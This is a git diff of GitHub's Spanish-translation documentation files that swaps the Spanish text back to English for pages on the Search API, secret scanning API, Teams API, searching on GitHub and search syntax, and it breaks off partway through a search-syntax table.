{% data reusables.enterprise.rate_limit %} -Consulta la [documentación del límite de tasa](/rest/reference/rate-limit) para obtener más detalles sobre cómo determinar tu estado de límite de tasa actual. +See the [rate limit documentation](/rest/reference/rate-limit) for details on +determining your current rate limit status. -### Construir una consulta de búsqueda +### Constructing a search query -Cada terminal en la API de búsqueda utiliza [parámetros de búsqueda](https://en.wikipedia.org/wiki/Query_string) para realizar búsqeudas en {% data variables.product.product_name %}. Observa la terminal individual an la API de Búsqueda para encontrar un ejemplo que incluye los parámetros de consulta y de terminal. +Each endpoint in the Search API uses [query parameters](https://en.wikipedia.org/wiki/Query_string) to perform searches on {% data variables.product.product_name %}. See the individual endpoint in the Search API for an example that includes the endpoint and query parameters. -Una consulta puede contener cualquier combinación de calificadores de búsqueda que sea compatible con {% data variables.product.product_name %}. El formato de esta consulta de búsqueda es: +A query can contain any combination of search qualifiers supported on {% data variables.product.product_name %}. The format of the search query is: ``` SEARCH_KEYWORD_1 SEARCH_KEYWORD_N QUALIFIER_1 QUALIFIER_N ``` -Por ejemplo, si quisieras buscar todos los _repositorios_ que pertenecen a `defunkt` y que contienen la palabra `GitHub` y `Octocat` en el archivo de README, utilizarías la siguiente consulta con la terminal de _buscar repositorios_: +For example, if you wanted to search for all _repositories_ owned by `defunkt` that +contained the word `GitHub` and `Octocat` in the README file, you would use the +following query with the _search repositories_ endpoint: ``` GitHub Octocat in:readme user:defunkt ``` -**Nota:** Asegúrate de utilizar el codificador HTML preferido de tu lenguaje de programación para construir tus cadenas de consulta. Por ejemplo: +**Note:** Be sure to use your language's preferred HTML-encoder to construct your query strings. For example: ```javascript // JavaScript const queryString = 'q=' + encodeURIComponent('GitHub Octocat in:readme user:defunkt'); ``` -Consulta la sección "[Buscar en GitHub](/articles/searching-on-github/)" para encontrar una lista completa de calificadores disponibles, su formato, y ejemplos de cómo utilizarlos. Para obtener más información acerca de cómo utilizar los operadores para que coincidan con cantidades y fechas específicas o para que excluyan resultados, consulta la sección "[Entender la sintaxis de búsqueda](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax/)". +See "[Searching on GitHub](/articles/searching-on-github/)" +for a complete list of available qualifiers, their format, and an example of +how to use them. For information about how to use operators to match specific +quantities, dates, or to exclude results, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax/)." -### Limitaciones sobre la longitud de la consulta +### Limitations on query length -La API de búsqueda no es compatible con consultas que: -- sean mayores a 256 caracteres (sin incluir los operadores o calificativos). -- tengan más de cinco operadores de `AND`, `OR`, o `NOT`. +The Search API does not support queries that: +- are longer than 256 characters (not including operators or qualifiers). +- have more than five `AND`, `OR`, or `NOT` operators. -Estas consultas de búsqueda devolverán un mensaje de error de "Validation failed". +These search queries will return a "Validation failed" error message. -### Tiempos excedidos y resultados incompletos +### Timeouts and incomplete results -Para que la API de Búsqueda se mantenga rápida para todos, limitamos el tiempo que puede jecutarse cualquier consulta específica. Para las consultas que [exceden el límite de tiempo](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/), la API devuelve las coincidencias que ya se habían encontrado antes de exceder el tiempo, y la respuesta tiene la propiedad `incomplete_results` como `true`. +To keep the Search API fast for everyone, we limit how long any individual query +can run. For queries that [exceed the time limit](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/), +the API returns the matches that were already found prior to the timeout, and +the response has the `incomplete_results` property set to `true`. -Llegar a una interrupción no necesariamente significa que los resultados de búsqueda estén incompletos. Puede que se hayan encontrado más resultados, pero también puede que no. +Reaching a timeout does not necessarily mean that search results are incomplete. +More results might have been found, but also might not. -### Errores de acceso o resultados de búsqueda faltantes +### Access errors or missing search results -Necesitas autenticarte exitosamente y tener acceso a los repositorios en tus consultas de búsqueda, de lo contrario, verás un error de `422 Unprocessible Entry` con un mensaje de "Validation Failed". Por ejemplo, tu búsqueda fallará si tu consulta incluye los calificadores `repo:`, `user:`, o `org:` que solicitan los recursos a los cuales no tienes acceso cuando inicias sesión en {% data variables.product.prodname_dotcom %}. +You need to successfully authenticate and have access to the repositories in your search queries, otherwise, you'll see a `422 Unprocessable Entry` error with a "Validation Failed" message. For example, your search will fail if your query includes `repo:`, `user:`, or `org:` qualifiers that request resources that you don't have access to when you sign in on {% data variables.product.prodname_dotcom %}. -Cuando tu consulta de búsqueda solicita recursos múltiples, la respuesta solo contendrá aquellos a los que tengas acceso y **no** proporcionará un mensaje de error que liste los recursos que no se devolvieron. +When your search query requests multiple resources, the response will only contain the resources that you have access to and will **not** provide an error message listing the resources that were not returned. -Por ejemplo, si tu consulta de búsqueda quiere buscar en los repositorios `octocat/test` y `codertocat/test`, pero solo tienes acceso a `octocat/test`, tu respuesta mostrará los resultados de búsqueda para `octocat/test` y no mostrará nada para `codertocat/test`. Este comportamiento simula cómo funciona la búsqueda en {% data variables.product.prodname_dotcom %}. +For example, if your search query searches for the `octocat/test` and `codertocat/test` repositories, but you only have access to `octocat/test`, your response will show search results for `octocat/test` and nothing for `codertocat/test`. This behavior mimics how search works on {% data variables.product.prodname_dotcom %}. {% include rest_operations_at_current_path %} -### Metadatos en el texto coincidente +### Text match metadata -En GitHub, puedes utilizar el contexto que te proporcionan los extractos de código y los puntos destacados en los resultados de búsqueda. La API de Búsqueda ofrece metadatos adicionales que te permiten resaltar los términos de búsqueda coincidentes cuando se muestran los resultados de la búsqueda. +On GitHub, you can use the context provided by code snippets and highlights in search results. The Search API offers additional metadata that allows you to highlight the matching search terms when displaying search results. -![resaltado del fragmento de código](/assets/images/text-match-search-api.png) +![code-snippet-highlighting](/assets/images/text-match-search-api.png) -Las solicitudes pueden decidir recibir esos fragmentos de texto en la respuesta, y cada fragmento se acompaña de intervalos numéricos que identifican la ubicación exacta de cada término de búsqueda coincidente. +Requests can opt to receive those text fragments in the response, and every fragment is accompanied by numeric offsets identifying the exact location of each matching search term. -Para obtener estos metadatos en tus resultados de búsqueda, especifica el tipo de medios `text-match` en tu encabezado de `Accept`. +To get this metadata in your search results, specify the `text-match` media type in your `Accept` header. ```shell application/vnd.github.v3.text-match+json ``` -Cuando proporcionas el tipo de medios `text-match`, recibirás una clave extra en la carga útil de JSON llamada `text_matches`, la cual proporciona información acerca de la posición de tus términos de búsqueda dentro del texto y la `property` que incluye dicho término de búsqueda. Dentro de la matriz `text_matches`, cada objeto incluye los siguientes atributos: +When you provide the `text-match` media type, you will receive an extra key in the JSON payload called `text_matches` that provides information about the position of your search terms within the text and the `property` that includes the search term. Inside the `text_matches` array, each object includes +the following attributes: -| Nombre | Descripción | -| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `object_url` | La URL del recurso que contiene una propiedad de secuencia que empata con uno de los términos de búsqueda. | -| `object_type` | El nombre del tipo de recurso que existe en la `object_url` específica. | -| `property` | El nombre de la propiedad del recurso que existe en la `object_url`. Esa propiedad es una secuencia que empata con uno de los términos de la búsqueda. (En el JSON que se devuelve de la `object_url`, el contenido entero para el `fragment` se encontrará en la propiedad con este nombre.) | -| `fragmento` | Un subconjunto del valor de `property`. Este es el fragmento de texto que empata con uno o más de los términos de búsqueda. | -| `matches` | Una matriz de uno o más términos de búsqueda presentes en el `fragment`. Los índices (es decir, "intervalos") son relativos al fragmento. (No son relativos al contenido _completo_ de `property`.) | +Name | Description +-----|-----------| +`object_url` | The URL for the resource that contains a string property matching one of the search terms. +`object_type` | The name for the type of resource that exists at the given `object_url`. +`property` | The name of a property of the resource that exists at `object_url`. That property is a string that matches one of the search terms. (In the JSON returned from `object_url`, the full content for the `fragment` will be found in the property with this name.) +`fragment` | A subset of the value of `property`. This is the text fragment that matches one or more of the search terms. +`matches` | An array of one or more search terms that are present in `fragment`. The indices (i.e., "offsets") are relative to the fragment. (They are not relative to the _full_ content of `property`.) -#### Ejemplo +#### Example -Si utilizas cURL y también el [ejemplo de búsqueda de informe de problemas](#search-issues-and-pull-requests) anterior, nuestra solicitud de la API se vería así: +Using cURL, and the [example issue search](#search-issues-and-pull-requests) above, our API +request would look like this: ``` shell curl -H 'Accept: application/vnd.github.v3.text-match+json' \ '{% data variables.product.api_url_pre %}/search/issues?q=windows+label:bug+language:python+state:open&sort=created&order=asc' ``` -La respuesta incluirá una matriz de `text_matches` para cada resultado de búsqueda. En el JSON que se muestra a continuación, tenemos dos objetos en la matriz `text_matches`. +The response will include a `text_matches` array for each search result. In the JSON below, we have two objects in the `text_matches` array. -La primera coincidencia de texto ocurrió en la propiedad de `body` del informe de problemas. Aquí vemos un fragmento de texto del cuerpo del informe de problemas. El término de búsqueda (`windows`) aparece dos veces dentro de ese fragmento, y tenemos los índices para cada ocurrencia. +The first text match occurred in the `body` property of the issue. We see a fragment of text from the issue body. The search term (`windows`) appears twice within that fragment, and we have the indices for each occurrence. -La segunda coincidencia de texto ocurrió en la propiedad `body` de uno de los comentarios del informe de problemas. Tenemos la URL para el comentario del informe de problemas. Y, por supuesto, vemos un fragmento de texto del cuerpo del comentario. El término de búsqueda (`windows`) se muestra una vez dentro de ese fragmento. +The second text match occurred in the `body` property of one of the issue's comments. We have the URL for the issue comment. And of course, we see a fragment of text from the comment body. The search term (`windows`) appears once within that fragment. ```json { diff --git a/translations/es-ES/content/rest/reference/secret-scanning.md b/translations/es-ES/content/rest/reference/secret-scanning.md index 754d9ff426..d3fd555101 100644 --- a/translations/es-ES/content/rest/reference/secret-scanning.md +++ b/translations/es-ES/content/rest/reference/secret-scanning.md @@ -1,6 +1,6 @@ --- -title: Escaneo de secretos -intro: 'Para recuperar y actualizar las alertas de secretos desde un repositorio privado, puedes utilizar la API de Escaneo de Secretos.' +title: Secret scanning +intro: 'To retrieve and update the secret alerts from a private repository, you can use Secret Scanning API.' versions: fpt: '*' ghes: '>=3.1' @@ -11,6 +11,12 @@ miniTocMaxHeadingLevel: 3 {% data reusables.secret-scanning.api-beta %} -La API de {% data variables.product.prodname_secret_scanning %} te permite recuperar y actualizar las alertas del escaneo de secretos desde un repositorio {% ifversion fpt or ghec %}privado{% endif %}. Para obtener más información sobre el escaneo de secretos, consulta la sección "[Acerca del escaneo de secretos](/code-security/secret-security/about-secret-scanning)". +The {% data variables.product.prodname_secret_scanning %} API lets you{% ifversion fpt or ghec or ghes > 3.1 or ghae-next %}: + +- Enable or disable {% data variables.product.prodname_secret_scanning %} for a repository. For more information, see "[Repositories](/rest/reference/repos#update-a-repository)" in the REST API documentation. +- Retrieve and update {% data variables.product.prodname_secret_scanning %} alerts from a {% ifversion fpt or ghec %}private {% endif %}repository. For futher details, see the sections below. +{%- else %} retrieve and update {% data variables.product.prodname_secret_scanning %} alerts from a {% ifversion fpt or ghec %}private {% endif %}repository.{% endif %} + +For more information about {% data variables.product.prodname_secret_scanning %}, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)." {% include rest_operations_at_current_path %} diff --git a/translations/es-ES/content/rest/reference/teams.md b/translations/es-ES/content/rest/reference/teams.md index ad57e6b9cb..2e05e37ba8 100644 --- a/translations/es-ES/content/rest/reference/teams.md +++ b/translations/es-ES/content/rest/reference/teams.md @@ -1,6 +1,6 @@ --- -title: Equipos -intro: 'Con la API de Equipos puedes crear y administrar los equipos en tu organización de {% data variables.product.product_name %}.' +title: Teams +intro: 'With the Teams API, you can create and manage teams in your {% data variables.product.product_name %} organization.' redirect_from: - /v3/teams versions: @@ -13,36 +13,36 @@ topics: miniTocMaxHeadingLevel: 3 --- -Esta API solo está disponible para los miembros autenticados de la [organization](/rest/reference/orgs) del equipo. Los tokens de acceso de OAuth requieren el [alcance](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/) `read:org`. {% data variables.product.prodname_dotcom %} genera el `slug` del equipo a partir del `name` del mismo. +This API is only available to authenticated members of the team's [organization](/rest/reference/orgs). OAuth access tokens require the `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). {% data variables.product.prodname_dotcom %} generates the team's `slug` from the team `name`. {% for operation in currentRestOperations %} {% unless operation.subcategory %}{% include rest_operation %}{% endunless %} {% endfor %} -## Debates +## Discussions -La API de debates de equipo te permite obtener, crear, editar y borrar las publicaciones de un debate en la página de un equipo. Puedes utilizar los debates de equipo para sostener conversaciones que no son específicas de un repositorio o proyecto. Cualquier miembro de la [organización](/rest/reference/orgs) del equipo puede crear y leer las publicaciones de debates públicos. Para obtener más detalles, consulta la sección "[Acerca de los debates de equipo](//organizations/collaborating-with-your-team/about-team-discussions/)". Para aprender más sobre cómo comentar en una publicación de debate, consulta la [API de comentarios para debates de equipo](/rest/reference/teams#discussion-comments). Esta API solo está disponible para los miembros autenticados de la organization del equipo. +The team discussions API allows you to get, create, edit, and delete discussion posts on a team's page. You can use team discussions to have conversations that are not specific to a repository or project. Any member of the team's [organization](/rest/reference/orgs) can create and read public discussion posts. For more details, see "[About team discussions](//organizations/collaborating-with-your-team/about-team-discussions/)." To learn more about commenting on a discussion post, see the [team discussion comments API](/rest/reference/teams#discussion-comments). This API is only available to authenticated members of the team's organization. {% for operation in currentRestOperations %} {% if operation.subcategory == 'discussions' %}{% include rest_operation %}{% endif %} {% endfor %} -## Comentarios de debate +## Discussion comments -La API de comentarios para debates de equipo te permite obtener, crear, editar y borrar los comentarios del debate en una publicación de un [debate de equipo](/rest/reference/teams#discussions). Cualquier miembro de la [organización](/rest/reference/orgs) del equipo puede crear y leer los comentarios de un debate público. Para obtener más detalles, consulta la sección "[Acerca de los debates de equipo](/organizations/collaborating-with-your-team/about-team-discussions/)". Esta API solo está disponible para los miembros autenticados de la organization del equipo. +The team discussion comments API allows you to get, create, edit, and delete discussion comments on a [team discussion](/rest/reference/teams#discussions) post. Any member of the team's [organization](/rest/reference/orgs) can create and read comments on a public discussion. For more details, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions/)." This API is only available to authenticated members of the team's organization. {% for operation in currentRestOperations %} {% if operation.subcategory == 'discussion-comments' %}{% include rest_operation %}{% endif %} {% endfor %} -## Miembros +## Members -Esta API solo está disponible para los miembros autenticados de la organization del equipo. Los tokens de acceso de OAuth requieren el [alcance](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/) `read:org`. +This API is only available to authenticated members of the team's organization. OAuth access tokens require the `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). {% ifversion fpt or ghes or ghec %} {% note %} -**Nota:** Cuando configuras la sincornizacion de equipos para un equipo con el proveedor de identidad (IdP) de tu organización, verás un error si intentas utilizar la API para hacer cambios en la membrecía de dicho equipo. Si tienes acceso para administrar las membrecías de usuario en tu IdP, puedes administrar la membrecía del equipo de GitHub a través de tu proveedor de identidad, lo cual agrega y elimina automáticamente a los miembros en una organización. Para obtener más información, consulta la sección "Sincronizar equipos entre tu proveedor de identidad y GitHub". +**Note:** When you have team synchronization set up for a team with your organization's identity provider (IdP), you will see an error if you attempt to use the API for making changes to the team's membership. If you have access to manage group membership in your IdP, you can manage GitHub team membership through your identity provider, which automatically adds and removes team members in an organization. For more information, see "Synchronizing teams between your identity provider and GitHub." {% endnote %} @@ -52,21 +52,23 @@ Esta API solo está disponible para los miembros autenticados de la organization {% if operation.subcategory == 'members' %}{% include rest_operation %}{% endif %} {% endfor %} -{% ifversion ghec %} +{% ifversion ghec or ghae %} ## External groups The external groups API allows you to view the external identity provider groups that are available to your organization and manage the connection between external groups and teams in your organization. -Para utilizar esta API, el usuario autenticado debe ser un mantenedor del equipo o un propietario de la organización asociada con éste. +To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team. +{% ifversion ghec %} {% note %} -**Notas:** +**Notes:** - The external groups API is only available for organizations that are part of a enterprise using {% data variables.product.prodname_emus %}. For more information, see "[About Enterprise Managed Users](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." - If your organization uses team synchronization, you can use the Team Synchronization API. For more information, see "[Team synchronization API](#team-synchronization)." {% endnote %} +{% endif %} {% for operation in currentRestOperations %} {% if operation.subcategory == 'external-groups' %}{% include rest_operation %}{% endif %} @@ -75,15 +77,15 @@ Para utilizar esta API, el usuario autenticado debe ser un mantenedor del equipo {% endif %} {% ifversion fpt or ghes or ghec %} -## Sincronización de equipos +## Team synchronization -La API de sincronización de equipos te permite administrar las conexiones entre los equipos de {% data variables.product.product_name %} y los grupos del proveedor de identidad (IdP) externo. Para utilizar esta API, el usuario autenticado debe ser un mantenedor del equipo o un propietario de la organización asociada con éste. El token que utilizas para autenticarte también necesitará autorizarse para su uso con tu proveedor IdP (SSO). Para obtener más información, consulta la sección "Autorizar un token de acceso personal para su uso con una organización que tiene inicio de sesión único de SAML". +The Team Synchronization API allows you to manage connections between {% data variables.product.product_name %} teams and external identity provider (IdP) groups. To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team. The token you use to authenticate will also need to be authorized for use with your IdP (SSO) provider. For more information, see "Authorizing a personal access token for use with a SAML single sign-on organization." -Puedes administrar a los miembros del equipo de GitHub a través de tu IdP con la sincronización de equipos. Ésta se debe habilitar para usar la API de Sincronización de Equipos. Para obtener más información, consulta la sección "Sincronizar equipos entre tu proveedor de identidad y GitHub". +You can manage GitHub team members through your IdP with team synchronization. Team synchronization must be enabled to use the Team Synchronization API. For more information, see "Synchronizing teams between your identity provider and GitHub." {% note %} -**Nota:** La API de sincronización de equipos no puede utilizarse con {% data variables.product.prodname_emus %}. To learn more about managing an {% data variables.product.prodname_emu_org %}, see "[External groups API](/enterprise-cloud@latest/rest/reference/teams#external-groups)". +**Note:** The Team Synchronization API cannot be used with {% data variables.product.prodname_emus %}. To learn more about managing an {% data variables.product.prodname_emu_org %}, see "[External groups API](/enterprise-cloud@latest/rest/reference/teams#external-groups)". {% endnote %} diff --git a/translations/es-ES/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md b/translations/es-ES/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md index f903b63d35..cc87ced91a 100644 --- a/translations/es-ES/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md +++ b/translations/es-ES/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md @@ -1,6 +1,6 @@ --- -title: Acerca de la búsqueda en GitHub -intro: 'Nuestra búsqueda integrada cubre los diversos repositorios, usuarios y líneas de código en {% data variables.product.product_name %}.' +title: About searching on GitHub +intro: 'Our integrated search covers the many repositories, users, and lines of code on {% data variables.product.product_name %}.' redirect_from: - /articles/using-the-command-bar/ - /articles/github-search-basics/ @@ -18,74 +18,73 @@ versions: topics: - GitHub search --- - {% data reusables.search.you-can-search-globally %} -- Para hacer una búsqueda global en todo {% data variables.product.product_name %}, escribe lo que estás buscando en el campo de búsqueda en la parte superior de cualquier página y elige "Todo {% data variables.product.prodname_dotcom %}" en el menú de búsqueda desplegable. -- Para buscar dentro de un repositorio o una organización en particular, navega a la página del repositorio o de la organización, escribe lo que estás buscando en el campo de búsqueda en la parte superior de la página y presiona **Aceptar**. +- To search globally across all of {% data variables.product.product_name %}, type what you're looking for into the search field at the top of any page, and choose "All {% data variables.product.prodname_dotcom %}" in the search drop-down menu. +- To search within a particular repository or organization, navigate to the repository or organization page, type what you're looking for into the search field at the top of the page, and press **Enter**. {% note %} -**Notas:** +**Notes:** {% ifversion fpt or ghes or ghec %} - {% data reusables.search.required_login %}{% endif %} -- Los sitios {% data variables.product.prodname_pages %} no se pueden buscar en {% data variables.product.product_name %}. Sin embargo, puedes buscar el contenido fuente si existe en la rama por defecto de un repositorio, usando la búsqueda de código. Para obtener más información, consulta "[Código de búsqueda](/search-github/searching-on-github/searching-code)". Para obtener más información acerca de {% data variables.product.prodname_pages %}, consulta "[¿Qué son las Páginas de GitHub?](/articles/what-is-github-pages/)" -- Actualmente, nuestra búsqueda no es compatible con las coincidencias exactas. -- Cuando estés buscando dentro de archivos de código, únicamente se devolverán los primeros dos resultados de cada archivo. +- {% data variables.product.prodname_pages %} sites are not searchable on {% data variables.product.product_name %}. However you can search the source content if it exists in the default branch of a repository, using code search. For more information, see "[Searching code](/search-github/searching-on-github/searching-code)." For more information about {% data variables.product.prodname_pages %}, see "[What is GitHub Pages?](/articles/what-is-github-pages/)" +- Currently our search doesn't support exact matching. +- Whenever you are searching in code files, only the first two results in each file will be returned. {% endnote %} -Después de ejecutar una búsqueda en {% data variables.product.product_name %}, puedes clasificar los resultados o refinarlos más haciendo clic en uno de los idiomas de la barra lateral. Para obtener más información, consulta "[Clasificar los resultados de búsqueda](/search-github/getting-started-with-searching-on-github/sorting-search-results)". +After running a search on {% data variables.product.product_name %}, you can sort the results, or further refine them by clicking one of the languages in the sidebar. For more information, see "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results)." -La búsqueda de {% data variables.product.product_name %} usa una agrupación ElasticSearch para indexar los proyectos cada vez que se sube un cambio a {% data variables.product.product_name %}. Las propuestas y las solicitudes de extracción son indexadas cuando son creadas o modificadas. +{% data variables.product.product_name %} search uses an ElasticSearch cluster to index projects every time a change is pushed to {% data variables.product.product_name %}. Issues and pull requests are indexed when they are created or modified. -## Tipos de búsquedas en {% data variables.product.prodname_dotcom %} +## Types of searches on {% data variables.product.prodname_dotcom %} -Puedes buscar la siguiente información a través de todos los repositorios a los que puedes acceder en {% data variables.product.product_location %}. +You can search for the following information across all repositories you can access on {% data variables.product.product_location %}. -- [Repositorios](/search-github/searching-on-github/searching-for-repositories) -- [Temas](/search-github/searching-on-github/searching-topics) -- [propuestas y solicitudes de cambios](/search-github/searching-on-github/searching-issues-and-pull-requests){% ifversion fpt or ghec %} -- [Debates](/search-github/searching-on-github/searching-discussions){% endif %} -- [Código](/search-github/searching-on-github/searching-code) -- [Confirmaciones](/search-github/searching-on-github/searching-commits) -- [Usuarios](/search-github/searching-on-github/searching-users) -- [Paquetes](/search-github/searching-on-github/searching-for-packages) +- [Repositories](/search-github/searching-on-github/searching-for-repositories) +- [Topics](/search-github/searching-on-github/searching-topics) +- [Issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests){% ifversion fpt or ghec %} +- [Discussions](/search-github/searching-on-github/searching-discussions){% endif %} +- [Code](/search-github/searching-on-github/searching-code) +- [Commits](/search-github/searching-on-github/searching-commits) +- [Users](/search-github/searching-on-github/searching-users) +- [Packages](/search-github/searching-on-github/searching-for-packages) - [Wikis](/search-github/searching-on-github/searching-wikis) -## Buscar usando una interfaz visual +## Searching using a visual interface You can search {% data variables.product.product_name %} using the {% data variables.search.search_page_url %} or {% data variables.search.advanced_url %}. {% if command-palette %}Alternatively, you can use the interactive search in the {% data variables.product.prodname_command_palette %} to search your current location in the UI, a specific user, repository or organization, and globally across all of {% data variables.product.product_name %}, without leaving the keyboard. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %} -{% data variables.search.advanced_url %} ofrece una interfaz visual para construir consultas de búsqueda. Puedes filtrar tus búsquedas por diferentes factores, como la cantidad de estrellas o la cantidad de bifurcaciones que tiene un repositorio. A medida que completas los campos de búsqueda de avanzada, tu consulta se construirá automáticamente en la barra de búsqueda superior. +The {% data variables.search.advanced_url %} provides a visual interface for constructing search queries. You can filter your searches by a variety of factors, such as the number of stars or number of forks a repository has. As you fill in the advanced search fields, your query will automatically be constructed in the top search bar. -![Búsqueda avanzada](/assets/images/help/search/advanced_search_demo.gif) +![Advanced Search](/assets/images/help/search/advanced_search_demo.gif) {% ifversion fpt or ghes or ghae-next or ghec %} -## Buscar repositorios en {% data variables.product.prodname_dotcom_the_website %} desde tu ambiente de empresa privada +## Searching repositories on {% data variables.product.prodname_dotcom_the_website %} from your private enterprise environment -If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} and you're a member of a {% data variables.product.prodname_dotcom_the_website %} organization using {% data variables.product.prodname_ghe_cloud %}, an enterprise owner for your {% data variables.product.prodname_enterprise %} environment can enable {% data variables.product.prodname_github_connect %} so that you can search across both environments at the same time{% ifversion ghes or ghae %} from {% data variables.product.product_name %}{% endif %}. Para obtener más información, consulta lo siguiente. +If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} and you're a member of a {% data variables.product.prodname_dotcom_the_website %} organization using {% data variables.product.prodname_ghe_cloud %}, an enterprise owner for your {% data variables.product.prodname_enterprise %} environment can enable {% data variables.product.prodname_github_connect %} so that you can search across both environments at the same time{% ifversion ghes or ghae %} from {% data variables.product.product_name %}{% endif %}. For more information, see the following. {% ifversion fpt or ghes or ghec %} - "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/{% ifversion ghes %}{{ currentVersion }}{% else %}enterprise-server@latest{% endif %}/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)" in the {% data variables.product.prodname_ghe_server %} documentation{% endif %}{% ifversion ghae-next %} -- "[Habilitar la {% data variables.product.prodname_unified_search %} entre tu cuenta empresarial y {% data variables.product.prodname_dotcom_the_website %}](/github-ae@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)" en la documentación de {% data variables.product.prodname_ghe_managed %} +- "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/github-ae@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)" in the {% data variables.product.prodname_ghe_managed %} documentation {% endif %} {% ifversion ghes or ghae-next %} -Para limitar tu búsqueda por entorno, puedes usar una opción de filtro en {% data variables.search.advanced_url %} o puedes usar el prefijo de búsqueda `environment:`. Para solo buscar contenido en {% data variables.product.product_name %}, usa la sintaxis de búsqueda `environment:local`. Para solo buscar contenido en {% data variables.product.prodname_dotcom_the_website %}, usa la sintaxis de búsqueda `environment:github`. +To scope your search by environment, you can use a filter option on the {% data variables.search.advanced_url %} or you can use the `environment:` search prefix. To only search for content on {% data variables.product.product_name %}, use the search syntax `environment:local`. To only search for content on {% data variables.product.prodname_dotcom_the_website %}, use `environment:github`. -Tu propietario de empresa en {% data variables.product.product_name %} puede habilitar la {% data variables.product.prodname_unified_search %} para todos los repositorios públicos y privados o únicamente los privados en la organización conectada de {% data variables.product.prodname_ghe_cloud %}. +Your enterprise owner on {% data variables.product.product_name %} can enable {% data variables.product.prodname_unified_search %} for all public repositories, all private repositories, or only certain private repositories in the connected {% data variables.product.prodname_ghe_cloud %} organization. -Cuando buscas en {% data variables.product.product_name %}, solo puedes buscar en los repositorios privados de la organización conectada de {% data variables.product.prodname_dotcom_the_website %} a los cuales tengas acceso. Los propietarios de empresa de {% data variables.product.product_name %} y los propietarios de organizaciones en {% data variables.product.prodname_dotcom_the_website %} no pueden buscar en los repositorios privados que pertenezcan a tu cuenta de {% data variables.product.prodname_dotcom_the_website %}. Para buscar los repositorios privados aplicables, debes habilitar la búsqueda en repositorios privados para tus cuentas personales de {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Habilitar la búsqueda de repositorios en {% data variables.product.prodname_dotcom_the_website %} desde tu ambiente empresarial privado](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)". +When you search from {% data variables.product.product_name %}, you can only search in the private repositories that you have access to in the connected {% data variables.product.prodname_dotcom_the_website %} organization. Enterprise owners for {% data variables.product.product_name %} and organization owners on {% data variables.product.prodname_dotcom_the_website %} cannot search private repositories owned by your account on {% data variables.product.prodname_dotcom_the_website %}. To search the applicable private repositories, you must enable private repository search for your personal accounts on {% data variables.product.product_name %}. For more information, see "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)." {% endif %} {% endif %} -## Leer más +## Further reading -- "[Entender la sintaxis de búsqueda](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)" -- "[Búsqueda en GitHub](/articles/searching-on-github)" +- "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)" +- "[Searching on GitHub](/articles/searching-on-github)" diff --git a/translations/es-ES/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md b/translations/es-ES/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md index c474812cf0..0df535b263 100644 --- a/translations/es-ES/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md +++ b/translations/es-ES/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md @@ -1,6 +1,6 @@ --- -title: Entender la sintaxis de búsqueda -intro: 'Cuando buscas {% data variables.product.product_name %}, puedes construir consultas que coincidan con números y palabras específicas.' +title: Understanding the search syntax +intro: 'When searching {% data variables.product.product_name %}, you can construct queries that match specific numbers and words.' redirect_from: - /articles/search-syntax/ - /articles/understanding-the-search-syntax @@ -13,89 +13,87 @@ versions: ghec: '*' topics: - GitHub search -shortTitle: Entender la sintaxis de búsqueda +shortTitle: Understand search syntax --- +## Query for values greater or less than another value -## Consulta para valores mayores o menores que otro valor +You can use `>`, `>=`, `<`, and `<=` to search for values that are greater than, greater than or equal to, less than, and less than or equal to another value. -Puedes utilizar `>`, `>=`, `<` y `<=` para buscar valores que sean mayores, mayores o iguales, menores y menores o iguales a otro valor. +Query | Example +------------- | ------------- +>n | **[cats stars:>1000](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3E1000&type=Repositories)** matches repositories with the word "cats" that have more than 1000 stars. +>=n | **[cats 